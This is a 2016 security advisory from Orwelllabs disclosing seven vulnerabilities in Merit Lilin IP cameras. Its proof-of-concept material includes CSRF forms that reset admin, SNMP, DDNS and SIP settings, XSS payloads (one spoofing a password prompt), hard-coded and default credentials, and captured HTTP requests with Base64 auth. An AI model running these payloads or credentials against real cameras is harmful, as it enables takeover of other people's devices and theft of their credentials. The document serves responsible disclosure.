Merit Lilin IP Cameras – Multiple Vulnerabilities
_ _ _ _ _ _ _ _ _ _ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ ( 0 | R | W | 3 | L | L | L | 4 | 8 | 5 ) \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ www.orwelllabs.com securityadivisory @orwelllabs ;)(r By sitting in the alcove, and keeping well back, Winston was able to remain outside the range of the telescreen... * Adivisory Information ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ (+) Title: Merit Lilin IP Cameras Multiple Vulnerabilities (+) Vendor: Merit Lilin Enterprise Co., Ltd. (+) Research and Advisory: Orwelllabs (+) Adivisory URL: http://www.orwelllabs.com/2016/04/merit-lilin-ip-cameras-multiple_27.html (+) OLSA-ID: OLSA-2016-04-28 (+) Affected Versions: L series products with firmware 1.4.36/1.2.02, OS Version: Linux 2.6.38/Linux 2.6.32 (+) IoT Attack Surface: Device Administrative Interface/Authentication/Authorization (+) Owasp IoTTop10: I1, I2 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ * Adivisory Overview --+---------------------------------------------+------+-------------------------------------------- id| Vulnerability Title | Rank | Attack Surface --+---------------------------------------------+------+-------------------------------------------- 1 | Multiple Cross-site Request Forgery | I1 | Insecure Web Interfaces 2 | Multiple Cross-site Scripting/HTML Injection| I1 | Insecure Web Interfaces 3 | Hard-coded credentials | I1 | Insecure Web Interfaces 4 | Cleartext sensitive data | I1 | Insecure Web Interfaces 5 | Weak Passwords/Known credentials | I1 | Insecure Web Interfaces 6 | Account lockout | I1 | Insecure Web Interfaces 7 | Poorly Protected Credentials | I2 | Insufficient Authentication/Authorization --+---------------------------------------------+------+-------------------------------------------- Vendor Background ================= LILIN, is a global IP video manufacturer of IP video cameras, recording devices, and software with over 30 years of experience. 1. Multiple Cross-site Request Forgery ====================================== Merit LILIN IP Cameras are prone to multiple cross-site request forgery vulnerabilities. (+) Technical Details and PoCs: ------------------------------- # Basic >> System >> User > Changing 'admin' password to 'w!nst0nSm!th' <html> <!-- Orwelllabs - Merit Lilin IP Camera - CSRF PoC --> <body> <form action=" http://xxx.xxx.xxx.xxx/apply2.cgi?action=useredit&user_seq=1&user_account=admin&user_password=w!nst0nSm!th&user_priority=254&user_group=0 "> <input type="submit" value="Submit form" /> </form> </body> </html> # Basic >> Network >> DDNS > change DDNS information (user/hostname/password) <html> <!-- Orwelllabs - Merit Lilin IP Camera - CSRF PoC --> <body> <form action=" http://xxx.xxx.xxx.xxx/apply.cgi?action=ddns_apply&next_page=ddns.asp&ddns_type=0&ddns_flag=1&ddns_account=Winston&ddns_pwd=pass&ddns_hostname=smithwmachine&ddns_new_pwd=&ddns_wanip= "> <input type="submit" value="Submit form" /> </form> </body> </html> # SNMP > change community/user/pass/pripass/v3rouser/etc. <html> <!-- Orwelllabs - Merit Lilin IP Camera - CSRF PoC --> <body> <form action=" http://xxx.xxx.xxx.xxx/snmp?snmpenable=0&v12rwcommunity=public&v12rocommunity=private&v3user=admin&v3authpass=password&v3pripass=w!nst0nSm!th&v3rwuser=public&v3rouser=private "> <input type="submit" value="Submit form" /> </form> </body> </html> # Basic >> Network >> SIP > change sip_domain_server/sipreg_username/sipreg_password/sip_port=/etc. <html> <!-- Orwelllabs - Merit Lilin IP Camera - CSRF PoC --> <body> <form action=" http://xxx.xxx.xxx.xxx/apply.cgi?action=sip_apply&next_page=sip.asp&voip_flag=1&sip_domain_server=lilintw.ddnsipcam.com&sipreg_username=admin&sipreg_password=pass&sipreg_expires=0&sip_port=5060&audiortp_port=7078&videortp_port=9078 "> <input type="submit" value="Submit form" /> </form> </body> </html> 2. Multiple Cross-site Scripting/HTML Injection ====================-========================== Merit Lilin IP Cameras are prone to multiple cross-site scripting vulnerabilities. Technical Details and PoCs: --------------------------- [SAMBA] Advance >> System >> SAMBA Service ------------------------------------------ %- Script: apply.cgi %- affected parameters: (+) action (+) SambaRecordState (+) SAMBA_OSD (+) SAMBARecordOption2 (+) SAMBARecordFormat (+) SAMBAPreRecordTime (+) SAMBAServer (+) SAMBAServerPort (+) SAMBAServerAccount (+) SAMBAServerPassword (+) SAMBAServerDirectory %- [ *** XSS *** ] Payload(1) used: 123%3Cimg%20src=%22x%20%22%20onerror=prompt%28%22Lilin_Password:%22%29%20/%3E %- URL: http://xxx.xxx.xxx.xxx/apply.cgi?action=[ *** XSS *** ]&SambaRecordState=[ *** XSS *** ]&SAMBA_OSD=[ *** XSS *** ]&SAMBARecordOption2=[ *** XSS *** ]&SAMBARecordFormat=[ *** XSS *** ]&SAMBAPreRecordTime=[ *** XSS *** ]&SAMBAServer=[ *** XSS *** ]&SAMBAServerPort=[ *** XSS *** ]&SAMBAServerAccount=[ *** XSS *** ]&SAMBAServerPassword=[ *** XSS *** ]&SAMBAServerDirectory=[ *** XSS *** ] [General] -> Basic >> System >> General --------------------------------------- - Affected script: apply.cgi - affected parameters: (+) action (+) next_page (+) SAMBAServerDirectory %- [ *** XSS *** ] Payload(2) used: %22%3E%3Cscript%3Ealert%281%29%3C/script%3E %- URL http://xxx.xxx.xxx.xxx/apply.cgi?action=[ *** XSS *** ]&next_page=[ *** XSS *** ]&CAM_NAME=LR6122&ACTIVEX_OSD_NAME=LR6122&CAM_OSD=0&TIMER_OSD=0&ACTIVEX_OSD_ENABLE=0&ACTIVEX_MODE=0 [HTTP POST Service] -> Advance >> Event >> HTTP POST Service ------------------------------------------------------------ - Affected script: apply.cgi - affected parameters: (+) AM_HTTP_JPEG (+) next_page*-* (+) HTTPPostPort*-* %- [ *** XSS *** ] Payload used: 123%3Cimg%20src=%22x%20%22%20onerror=prompt%28%22Lilin_Password:%22%29%20/%3E *-* Payload(2) %- URL: http://xxx.xxx.xxx.xxx/apply.cgi?action=httppost_apply&next_page=httppost.asp&HTTPServer=192.168.0.2&HTTPPostPort=56082&HTTPAccount=LILIN&HTTPPassword=control4&AM_HTTP_JPEG=[ *** XSS *** ] 3. Hard-coded credentials ========================= This application stores hard-coded credentials in html code. Technical Details and PoCs: --------------------------- (+) GET -> http://xxx.xxx.xxx.xxx/new/index.htm HTML Source code: <script> var g_ScreenMode = GetCookie('ScreenMode'); if(g_ScreenMode==null || g_ScreenMode=='' || g_ScreenMode==' ') { g_ScreenMode = 1; SetCookie('ScreenMode', 1); } var g_AD_OSD_FLAG = GV('0','0'); //Profileno,Width,Height,Type,ScreenSwitch,Resolution,Cmd var g_CtrlInfo = new Ctrl_ProfileInfo('',0,0,'',g_ScreenMode,'',''); var g_AD_RATE = Number('0'); var g_video_port = Number('0'); var g_spook_port = Number('554'); var g_httpd_auth_account = 'admin'; <<<<<---- user var g_httpd_auth_passwd = 'pass'; <<<<<---- pass var g_encode_mode = Number('0'); var g_profile00_fps_dwell = 1000/Number('15'); var g_profile01_fps_dwell = 1000/Number('5'); var g_profile02_fps_dwell = 1000/Number('25'); var g_profile03_fps_dwell = 1000/Number('0'); var g_ACTIVEX_OSD_ENABLE = Number('0'); var g_title_name = 'LR6122'; var g_CAM_OSD = Number('0'); var g_TIMER_OSD = Number('0'); [... Snip ...] (+) GET -> http://xxx.xxx.xxx.xxx/new/no_sd_file.htm HTML source code: [... Snip ...] //http://192.168.3.162/sdlist?dirlist=0 //http://192.168.3.225/sdlist?filelist=2012081001 //var g_AllDir = "2012080901,2012080902,2012080903,2012080904,2012080905,2012080906:2012081001,2012081002:2012081101,2012081111"; //var g_AllFiles = "20120809010124.avi,20120809010234.avi,20120809010334.avi,20120809010434.avi,20120809010534.avi,20120809010643.avi"; var g_httpd_auth_account = GV('admin','admin'); <<<<<---- here var g_httpd_auth_passwd = GV('pass','pass'); <<<<<---- here [... Snip ...] 4. Cleartext sensitive data =========================== Everything is trasmite over HTTP, including credentials, like this, when an administrador "submmit" the Samba configuration form (cleartext everywhere). Technical Details and PoCs: --------------------------- GET /apply.cgi?action=sambarec_apply&SambaRecordState=0&SAMBA_OSD=0&SAMBARecordOption2=0&SAMBARecordFormat=0&SAMBAPreRecordTime=5&SAMBAServer=192.168.0.100&SAMBAServerPort=5000&SAMBAServerAccount=admin&SAMBAServerPassword=pass&SAMBAServerDirectory=/Public HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46cGFzcw== Connection: keep-alive 5. Weak Default Credentials/Known credentials ============================================= The vast maiority of these devices remain with default credential admin:pass (cameras)/admin:1111 (NVR) and costumers are not obligated to change it during initial setup. The best 6. Account Lockout ================== There is no control to prevent brute force attacks and to lockout an account after X failed login attempts. I1.Impact --------- Insecure web interfaces can result in data loss or corruption, lack of accountability, or denial of access and can lead to complete device takeover. 7. Poorly Protected Credentials =============================== An attacker in the same network is able to capture and decode the credentials as they aren't trasmited over HTTPs and are protected using just Base64 encoding. Technical Details and PoCs: --------------------------- > GET Request of) Authentication Process GET /new/setup.htm HTTP/1.1 Host: xxx.xxx.xxx.xxx User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: O|orwell/labs,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://xxx.xxx.xxx.xxx/new/setup.htm Cookie: lang=0; ScreenMode=O-Orw3lll@bs; profileno=0; uimode=1 Connection: keep-alive Authorization: Basic YWRtaW46cGFzcw== Affected products ================= L series with firmware 1.4.36/1.2.02, OS Version: Linux 2.6.38/Linux 2.6.32. LB1022X LR7224X LR7228X LR7424X LR7428X LR7722X LR7022 LR7922 LR6122X LR6022X LR2322X LR2122 LR312 LR832 LR2522 LD6122X LD2322X LD2122 LD2222 *Once this is related with a old bad design its probably that a large range of products are affected by reported issues. Timeline ++++++++ 2016-03-23: First attemp to contact Vendor 2016-04-22: Request #13617 "Lilin Products Vulnerabilities" created 2016-04-23: Attemp to contact vendor 2016-04-25: Vendor response (ask for details) 2016-04-27: According to the Vendor these issues are already know and will be remediated in the future. 2016-04-28: Full disclosure About Orwelllabs ++++++++++++++++ Orwelllabs is an independent security research lab interested in IoT, what means embedded devices and all its components like web applications, network, mobile applications and all surface areas prone to attack. Orwelllabs aims to study, learn and produce some intelligence around this vast and confusing big picture called smart cities. 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